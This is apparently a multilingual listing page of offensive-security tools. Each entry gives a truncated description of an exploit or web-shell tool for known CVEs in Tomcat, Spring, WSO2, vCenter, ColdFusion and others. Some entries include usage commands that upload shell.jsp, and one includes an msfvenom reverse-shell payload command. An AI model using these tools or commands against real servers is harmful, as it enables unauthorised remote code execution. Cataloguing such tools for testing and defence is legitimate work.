ghostcat

Этот инструмент использует уязвимость LFI внутри Apache Tomcat под названием CVE-2020-1938 не только для просмотра конфиденциальных файлов, но и для запуска вредоносных JSP-нагрузок. Его можно скачать здесь вам нужно будет запустить его из командной строки Использование:...

jboss-autopwn

jboss-autopwn JBoss Autopwn은 BlackHat Europe 2010에서 소개된 도구입니다. 이 버전은 Minded Security가 발견한 JBoss 인증 우회 VERB 조작 취약점CVE-2010-0738을 포함합니다. C. Papathanasiou 2010 INTRODUCTION 이 JBoss 스크립트는 대상 JBoss AS 서버에 JSP 셸을 배포합니다. 배포 후 스크립트는 업로드 및 명령 실행 기능을 통해 대화형 세션을 제공합니다. 기능: 다중 플랫폼 지원 - Windows, Linux 및 Mac...

CVE-2024-50379

CVE-2024-50379 CVE-2024-50379 익스플로잇 CVE-2024-50379.py와 upload.txt는 같은 디렉터리에 있습니다. upload 내용은 웹셸입니다. 여기서 upload 내용은 2.jsp 파일을 생성하는 것입니다. 2.jsp를 통해 새로운 4.jsp의 원본 Behinder冰蝎를 생성할 수 있습니다...

CVE-2022-29464

WSO2 RCE CVE-2022-29464 эксплойт и описание. Подробности CVE-2022-29464 — это серьезная уязвимость в WSO2. Уязвимость представляет собой несанкционированную, неограниченную загрузку произвольных файлов, что позволяет неавторизованным пользователям загружать вредоносные JSP-файлы на серверы WSO2 и...

CVE-2025-34040Exp

Seeyon OA tiene una carga de archivos que conduce a RCE CVE-2025-34040 Parámetros root@kitploit: options: -h, --help show this help message and exit -u URL, --url URL 请输入待检测的URL -f FILE, --file FILE 请输入一行一个URL的文件地址 -n FILENAME, --filename FILENAME 请输入文件名（默认为Hello.jsp）： -c CONTENT, --content CONTE...

springshell-rce-poc

CVE-2022-22965 - 脆弱なアプリケーションとPoC 試行錯誤 root@kitploit: $ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py 出力例 root@kitploit: rce sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6...

Fast-CVE-2022-22965

Целевая машина root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest Reverse shell по сути на основе msfvenom root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp После URL-кодирования JSP, используйте %3C%25 заменяет %25%7Bc2%7...

CVE-2022-22965

Spring Boot CVE-2022-22965 Spring Boot バージョン 2.6.5 における CVE-2022-22965 の Docker PoC 🚀 はじめに 1. https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip から配布コードをダウンロードし、解凍します。 2. docker compose up --build を実行して、脆弱なアプリケーションをビルドし起動します。 3. 以下のコマンドを実行して Tomcat の設定バルブを変更します。 curl -H...

wsh

wsh wsh произносится ву́ш — это генератор веб-шеллов и интерфейс командной строки. Всё началось с простого HTTP-клиента, потому что взаимодействие с веб-шеллами — это мука. Есть форма: чтобы отправить команду, нужно ввести её в поле ввода и нажать кнопку. Я хотел нечто, что лучше вписывается в мой...

CVE-2021-22005

CVE-2021-22005-metasploit CVE-2021-22005 VMware vCenter Server에 대한 임의 파일 업로드 취약점의 metasploit 스크립트POC/EXP입니다. POC 준비 root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit cd CVE-2021-22005-metasploit mkdir -p /.msf4/modules/auxiliary/scanner/http cp...

CVE-2022-22965

CVE-2022-22965-POC CVE-2022-22965 spring-core一括検出スクリプト 声明：本スクリプトは学習目的のみで使用してください。不正使用は禁止です。悪意のある破壊行為や違法な使用があっても、当方とは一切関係ありません！！！ 使い方： python3 CVE-2022-22965-POC.py url.txt 書き込み成功後、シェルにアクセスします http://192.168.0.101:8090/test.jsp ここではシェルとして123のみを使用しており、トロイの木馬は使用していません。セキュリティ検査のみを目的としています。...

CVE-2024-53677-S2-067-thread

Отказ от ответственности Не используйте технические сведения из статьи для проведения незаконных тестов. Любые прямые или косвенные последствия и убытки, возникшие в результате распространения или использования информации или инструментов, предоставленных в данной статье, ложатся на самого...

CVE-2022-29464

WSO2: Произвольная загрузка файлов, приводящая к удаленному выполнению команд RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 Пример root@kitploit: python3 exploit.py https://target.org:9443 shell.jsp...

spring-rce-poc

spring-rce-poc Тестирование CVE-2022-22968 Простое приложение, уязвимое к CVE-2022-22968 Dockerfile можно использовать для сборки на уязвимой версии Tomcat 9.0.59 exploit.sh — это shell-скрипт, который пытается эксплуатировать эту CVE на порту 8080 локального хоста Если атака с помощью exploit.sh...

wso2-rce-cve-2022-29464

CVE-2022-29464 Эксплойт для WSO2 RCE CVE-2022-29464. Подробности CVE-2022-29464 — это критическая уязвимость в WSO2, обнаруженная Orange Tsai. Уязвимость представляет собой неаутентифицированную неограниченную загрузку произвольных файлов, которая позволяет неаутентифицированным злоумышленникам...

CVE-2017-12617

Начало работы Цель данной демонстрации концепции Proof of Concept — показать, как можно использовать CVE-2017-12617 для удаленного управления сервером Apache Tomcat. Инструкции 1. Выполните следующую команду для запуска сервера. make serverup 2. Выполните эту команду для запуска атаки и загрузки...

CVE-2018-2380

CVE-2018-2380 CVSS v3 Base Score: 6.6/10 PoC удаленного выполнения команд через внедрение в лог на SAP NetWeaver AS JAVA CRM Пример использования скрипта root@kitploit: python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true...

CVE-2021-22005-metasploit

CVE-2021-22005-metasploit метасплойт-скрипт POC/EXP для CVE-2021-22005: VMware vCenter Server содержит уязвимость произвольной загрузки файлов подготовка POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit cd CVE-2021-22005-metasploit mkdir -p...

spring4shell-CVE-2022-22965

간단한 Spring4Shell POC 엔드포인트 취약점 확인 python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check 취약한 엔드포인트 공격 python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit 업로드된 웹쉘에서 명령 실행 python spring4shell.py -u...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE Данный репозиторий содержит мой эксплойт для уязвимости удаленного выполнения кода RCE в Adobe ColdFusion 2018. Описание эксплойта Эксплойт отправляет POST-запрос, содержащий JSP-обратную оболочку, на...